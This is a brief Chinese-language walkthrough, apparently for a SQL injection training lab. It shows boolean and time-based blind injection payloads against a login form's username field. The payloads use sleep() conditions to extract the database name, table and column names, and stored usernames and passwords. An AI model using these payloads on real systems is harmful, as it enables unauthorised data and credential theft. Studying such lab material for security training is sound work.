盲注 - 基于布尔值 - 字符串
怎么输入都没有回显，那就时间延迟吧。
布尔测试payload
uname=admin' and 1=1 --+&passwd=admin&submit=Submit //登陆成功
uname=admin' and 1=2 --+&passwd=admin&submit=Submit //登录失败
时间延迟测试payload
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
明显延迟，确定使用延迟注入。
手工延迟注入，最为致命。
爆库，表，列名，值，一次给出吧。
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
